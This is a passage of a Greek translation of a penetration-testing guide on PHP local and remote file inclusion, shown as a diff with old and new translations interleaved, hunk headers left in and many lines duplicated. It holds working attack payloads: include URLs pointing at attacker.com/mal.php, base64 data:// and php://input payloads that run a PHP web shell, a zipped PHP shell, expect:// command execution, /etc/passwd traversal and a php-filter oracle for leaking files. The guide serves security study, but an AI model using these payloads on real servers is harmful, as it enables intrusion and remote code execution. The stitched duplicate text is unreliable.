- **Using Dot Segments and Additional Characters**: Οι traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις προστιθέμενες από τον server συμβολοσειρές.
- **Determining the Required Number of Traversals**: Μέσω δοκιμών και σφαλμάτων, μπορεί κανείς να βρει τον ακριβή αριθμό των `../` sequences που χρειάζονται για να φτάσει στον root κατάλογο και κατόπιν στο `/etc/passwd`, εξασφαλίζοντας ότι οποιεσδήποτε προστιθέμενες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του server.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο filesystem, αγνοώντας στην πράξη τυχόν appended strings από τον server.
- **Determining the Required Number of Traversals**: Μέσω δοκιμής και λάθους, μπορεί κανείς να βρει τον ακριβή αριθμό `../` ακολουθιών που χρειάζονται για να φτάσει στο root directory και στη συνέχεια στο `/etc/passwd`, εξασφαλίζοντας ότι τυχόν appended strings (π.χ. `.php`) εξουδετερώνονται αλλά το επιθυμητό path (`/etc/passwd`) παραμένει άθικτο.
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει κανείς το path με έναν ανύπαρκτο directory (π.χ. `a/`). Αυτή η τεχνική χρησιμοποιείται ως μέτρο προφύλαξης ή για να ικανοποιήσει τις απαιτήσεις της λογικής parsing του path του server.
Όταν χρησιμοποιούνται τεχνικές path truncation, είναι κρίσιμο να κατανοήσουμε τη συμπεριφορά ανάλυσης διαδρομών του server και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητες δοκιμές για να βρεθεί η πιο αποτελεσματική μέθοδος.
Κατά την εφαρμογή των path truncation techniques, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά parsing του path στον server και τη δομή του filesystem. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο testing για να βρεθεί η πιο αποτελεσματική μέθοδος.
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
**Αυτή η vulnerability διορθώθηκε στο PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,45 +144,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να συμπεριλάβετε ένα αρχείο PHP από τον server σας και να αποκτήσετε RCE:
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα PHP αρχείο από τον server σας και να αποκτήσετε RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε ένα b64 PHP code και egt RCE:
Εάν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά η PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε για παράδειγμα να χρησιμοποιήσετε το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε `.txt`, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς junk και ο πραγματικός PHP code θα συμπεριληφθεί (και επομένως θα εκτελεστεί).
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως θα εκτελεστεί).
Ένα άλλο παράδειγμα **που δεν χρησιμοποιεί το `php://` πρωτόκολλο** θα ήταν:
Another example **not using the `php://` protocol** would be:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python ριζικό στοιχείο
## Python Root στοιχείο
Στο Python, σε έναν κώδικα όπως ο παρακάτω:
Σε Python, σε κώδικα όπως ο παρακάτω:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Εάν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, η **previous path** απλώς αφαιρείται:
Αν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Εάν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η σύνδεση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
> Εάν ένα στοιχείο είναι απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνθεση συνεχίζεται από το απόλυτο στοιχείο.
## Java Λίστα Καταλόγων
## Java Λίστα καταλόγων
Φαίνεται ότι αν έχεις ένα Path Traversal σε Java και **ζητήσεις έναν κατάλογο** αντί για αρχείο, θα επιστραφεί μια **λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).
Φαίνεται πως αν έχεις ένα Path Traversal σε Java και **ζητήσεις έναν κατάλογο** αντί για αρχείο, **επιστρέφεται λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (afaik).
## Κορυφαίες 25 παράμετροι
Ακολουθεί λίστα με τις 25 κορυφαίες παραμέτρους που μπορεί να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) (από το [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -221,26 +220,26 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται μεταξύ των χαρακτήρων "<" και ">")
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">")
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv.<input_enc>.<output_enc>`). Για να λάβετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται, τρέξτε στην κονσόλα: `iconv -l`
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv.<input_enc>.<output_enc>`). Για να πάρετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται εκτελέστε στην κονσόλα: `iconv -l`
> [!WARNING]
> Κακοποιώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **παράγετε αυθαίρετο κείμενο**, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως το include να επεξεργάζεται αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Κακοποιώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **παράγετε αυθαίρετο κείμενο**, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο εάν εξάγετε πολλά δεδομένα)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε μεγάλο όγκο πληροφοριών)
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Αποσυρμένο
- `mdecrypt.*` : Αποσυρμένο
- Άλλα φίλτρα
- Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **απροσδόκητα φίλτρα**:
- `mcrypt.*` : Παρωχημένο
- `mdecrypt.*` : Παρωχημένο
- Other Filters
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **απροσδόκητα φίλτρα**:
- `consumed`
- `dechunk`: αντιστρέφει το HTTP chunked encoding
- `convert.*`
@ -271,48 +270,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Το μέρος "php://filter" δεν κάνει διάκριση πεζών/κεφαλαίων
> Το μέρος "php://filter" δεν κάνει διάκριση πεζών-κεφαλαίων
### Using php filters as oracle to read arbitrary files
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβαστεί ένα τοπικό αρχείο χωρίς να επιστραφεί το output από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει το php να ρίξει μια εξαίρεση.
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να επιστραφεί το περιεχόμενο από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγαλύτερο ώστε να κάνει την php να πετάξει εξαίρεση.
Στην αρχική ανάρτηση θα βρείτε λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
Στην αρχική ανάρτηση θα βρείτε αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να διατηρήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** ώστε το php να ενεργοποιήσει ένα **σφάλμα**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hex**, οπότε μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντευμένο γράμμα), μας επιτρέπει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετούς μετασχηματισμούς ώστε να μην είναι πλέον ένας hexadecimal χαρακτήρας. Εφόσον είναι hex, το dechunk δεν θα τον διαγράψει και η αρχική «βόμβα» θα προκαλέσει php σφάλμα.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Ο codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a`, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec: a->b->c->d->e->f->g, το γράμμα δεν είναι πλέον hex, επομένως το dechunk δεν το διαγράφει και το php σφάλμα ενεργοποιείται λόγω του πολλαπλασιασμού με την αρχική «βόμβα».
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή, είναι δυνατό να leak άλλα chars όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να γίνει base64 encode και να leak τα 2 πρώτα γράμματα για να leak τον αριθμό.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε τη σειρά των χαρακτήρων και να φέρουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- Και για να μπορέσουμε να πάρουμε **further data** η ιδέα είναι να **παράξουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** ώστε να γίνει **pivot με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για leak.
- Χρησιμοποιήστε το codec **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική λέξη έχει μαντευτεί σωστά** που η php θα ενεργοποιήσει ένα **error**
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal**, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex.
- Αυτό, σε συνδυασμό με τα προηγούμενα (και άλλα filters ανάλογα με το μαντευόμενο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε με αρκετές μετασχηματισμούς σταματάει να είναι hexadecimal χαρακτήρας. Επειδή αν είναι hex, το dechunk δεν το διαγράφει και η αρχική "βόμβα" θα προκαλέσει php error.
- Το codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτό το codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι ένα `a`, για παράδειγμα, επειδή αν εφαρμόσουμε 6 φορές αυτό το codec a->b->c->d->e->f->g το γράμμα δεν είναι πλέον hexadecimal χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το php error ενεργοποιείται λόγω της αρχικής πολλαπλασιαστικής βόμβας.
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως το **rot13** στην αρχή είναι δυνατό να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλα codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον base64 encode και να leak τους 2 πρώτους χαρακτήρες για να αποκαλυφθεί ο αριθμός.
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας φίλτρα που αλλάζουν τη σειρά όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε την σειρά των χαρακτήρων και να φέρουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και για να μπορούμε να λάβουμε **περαιτέρω δεδομένα**, η ιδέα είναι να **παράγουμε 2 bytes junk στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** ώστε να **pivot με τα επόμενα 2 bytes**, και να d**elete the data until the junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζουμε έτσι μέχρι να φτάσουμε στο επιθυμητό byte για leak.
Στην ανάρτηση υπάρχει επίσης ένα εργαλείο για αυτόματη εκτέλεση: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Στην ανάρτηση δημοσιεύθηκε επίσης ένα εργαλείο για την αυτόματη εκτέλεση αυτού: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
Αυτός ο wrapper επιτρέπει την πρόσβαση σε file descriptors που η διαδικασία έχει ανοιχτά. Πιθανώς χρήσιμο για την εξαγωγή (exfiltrate) του περιεχομένου ανοιχτών αρχείων:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είμαι σίγουρος πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
### zip:// και rar://
### zip:// and rar://
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, **πρέπει να ενεργοποιηθεί ειδικά**.
Ανεβάστε ένα αρχείο Zip ή Rar με PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
Για να μπορέσετε να καταχραστείτε το rar protocol, **πρέπει να ενεργοποιηθεί συγκεκριμένα**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -337,24 +327,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php **`allow_url_open`** και **`allow_url_include`**
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php **`allow_url_open`** και **`allow_url_include`**
### expect://
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Καθορίστε το payload σας στις παραμέτρους POST:
Καθορίστε το payload στις παραμέτρους του POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως την `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση PHP κώδικα όταν μια web εφαρμογή χρησιμοποιεί συναρτήσεις όπως το `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -367,11 +357,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να αξιοποιηθεί για εκμετάλλευση των Local File Inclusion (LFI) ευπαθειών.
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν — μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()` — μπορεί να επιχειρηθεί η εκμετάλλευση μίας ευπάθειας αποσειριοποίησης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
Σε περιπτώσεις όπου το LFI περιορίζεται μόνο στην ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα που περιέχουν, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας απο-σειριοποίησης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσειριοποίησης στο πλαίσιο αρχείων `.phar`, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:
Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών απο-σειριοποίησης στο πλαίσιο των `.phar` αρχείων, ανατρέξτε στο έγγραφο συνδεδεμένο παρακάτω:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -382,36 +372,36 @@ phar-deserialization.md
### CVE-2024-2961
Ήταν εφικτό να εκμεταλλευτεί κανείς **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters** για να αποκτήσει RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτήν την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ σύντομη περίληψη: μια **υπερροή 3 byte** στη μνήμη heap του PHP εκμεταλλεύτηκε για να **αλλάξει την αλυσίδα των ελεύθερων chunks** ενός συγκεκριμένου μεγέθους ώστε να είναι δυνατή η **εγγραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλεί **`system`**.\
Μπορούσε να γίνει allocation chunks συγκεκριμένων μεγεθών με την κατάχρηση επιπλέον php filters.
Ήταν δυνατό να καταχραστεί το **any arbitrary file read from PHP that supports php filters** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ σύντομη σύνοψη: ένα **3 byte overflow** στον PHP heap καταχράστηκε για να **alter the chain of free chunks** ενός συγκεκριμένου μεγέθους, προκειμένου να είναι δυνατό να **write anything in any address**, οπότε προστέθηκε ένα hook για να καλεί το **`system`**.\
Ήταν δυνατή η alloc chunks συγκεκριμένων μεγεθών με την κατάχρηση περισσότερων php filters.
### Περισσότερα πρωτόκολλα
Δείτε περισσότερα πιθανά [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Ελέγξτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράφει στη μνήμη ή σε προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό filesystem
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψιμο σε μνήμη ή σε προσωρινό αρχείο (δεν είμαι σίγουρος πώς μπορεί να είναι χρήσιμο σε μια file inclusion επίθεση)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό σύστημα αρχείων
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ροές συμπίεσης
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων διαδρομών που ταιριάζουν με πρότυπο (δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων μονοπατιών που ταιριάζουν με πρότυπο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Δεν είναι χρήσιμο για ανάγνωση αυθαίρετων αρχείων)
## LFI via PHP's 'assert'
Οι κίνδυνοι από Local File Inclusion (LFI) σε PHP είναι αξιοσημείωτα υψηλοί όταν χειριζόμαστε τη συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν ελέγχεται είσοδος που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν φιλτράρεται σωστά.
Οι κίνδυνοι από Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν εμπλέκεται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό αν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί να αποτρέπει directory traversal ως εξής:
Για παράδειγμα, κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής:
```bash
assert("strpos('$file', '..') === false") or die("");
```
